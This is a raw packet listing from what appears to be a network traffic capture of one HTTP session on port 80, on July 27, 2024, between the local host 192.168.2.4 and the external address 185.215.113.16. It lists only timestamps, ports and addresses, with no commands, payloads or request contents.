Jul 27, 2024 05:39:24.651228905 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651242971 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651262045 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651273012 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651294947 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651304007 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651329041 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651338100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651364088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651371956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651400089 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651407003 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651442051 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651467085 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651511908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651642084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651688099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651751041 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651783943 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651797056 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651817083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651828051 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651861906 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651881933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651916027 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.651928902 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.651957989 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.652204037 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.652235985 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.652251959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.652271032 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.652285099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.652302980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.652314901 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.652338982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.652348042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.652381897 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.652738094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.652770996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.652822971 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.686834097 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.686875105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.686917067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.686928988 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.686981916 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687014103 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687047958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687048912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687048912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687082052 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687086105 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687131882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687158108 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687181950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687215090 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687216997 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687247992 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687252998 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687252998 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687280893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687315941 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687315941 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687326908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687378883 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687426090 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687431097 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687474966 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687479973 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687506914 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687534094 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687561989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687565088 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687593937 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687628984 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687634945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687634945 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687659979 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687691927 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687725067 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687731981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687731981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687731981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687758923 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687788963 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687820911 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687822104 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687822104 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687853098 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687855959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687887907 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687920094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687948942 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687948942 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.687952995 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.687963009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688026905 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688134909 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688188076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688220978 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688227892 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688227892 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688291073 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688342094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688374996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688406944 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688407898 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688421011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688440084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688496113 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688513041 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688545942 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688595057 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688627005 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688635111 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688635111 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688677073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688710928 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688714981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688714981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688750982 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688762903 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688796043 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688827038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688833952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688833952 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688874960 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688880920 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688909054 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.688946009 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.688956022 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689004898 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689038038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689043999 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689043999 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689069986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689102888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689104080 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689104080 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689135075 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689140081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689167976 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689201117 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689205885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689205885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689232111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689253092 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689265013 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689296007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689297915 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689322948 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689328909 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689361095 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689392090 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689393044 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689428091 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689433098 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689433098 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689464092 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689491987 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.689503908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689503908 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.689554930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.711767912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.711817026 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.711822987 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.711850882 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.711882114 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.711889029 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.711889029 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.711915970 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.711925030 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.711949110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.711981058 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.712044001 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.712044001 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.712044001 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740551949 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740580082 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740623951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740623951 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740628958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740663052 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740700006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740704060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740730047 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740750074 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740782022 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740801096 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740801096 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740813971 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740844965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740860939 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740860939 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740876913 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740904093 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740923882 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740923882 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740936041 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740967989 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.740988970 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740988970 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.740998983 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.741033077 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.741050005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.741050005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.741067886 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.741106987 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.741131067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.743452072 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.743503094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.743505955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.743535995 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.743585110 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.743585110 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.743745089 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.743794918 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.743829012 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.743829012 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.743864059 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.743880987 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.743887901 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.743947029 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.743968010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.743979931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744028091 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744028091 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744028091 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744080067 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744086981 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744112968 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744144917 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744177103 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744179010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744198084 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744209051 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744240999 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744244099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744272947 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744288921 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744288921 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744306087 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744337082 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744355917 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744355917 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744370937 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744402885 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744421959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744421959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744436026 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744466066 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744467974 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744498014 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744525909 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744529009 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744560957 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744591951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744596958 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744596958 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744622946 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744654894 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744661093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744684935 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744687080 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.744719982 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.744800091 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779509068 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779560089 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779570103 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779612064 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779659986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779695988 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779727936 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779742956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779742956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779762030 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779798985 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779798985 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779799938 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779809952 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779814005 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779844046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779892921 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779894114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779894114 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.779926062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779958010 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.779989958 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780002117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780002117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780024052 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780073881 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780087948 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780087948 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780102015 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780153036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780160904 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780201912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780201912 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780236959 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780270100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780278921 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780278921 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780301094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780313015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780333996 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780364990 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780380964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780380964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780397892 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780430079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780445099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780445099 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780462980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780476093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780514002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780518055 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780550003 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780581951 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780591011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780591011 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780616999 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780667067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780667067 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780847073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780880928 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780931950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780936956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780936956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.780962944 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.780985117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781016111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.781050920 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.781063080 CEST	49489	80	192.168.2.4	185.215.113.16
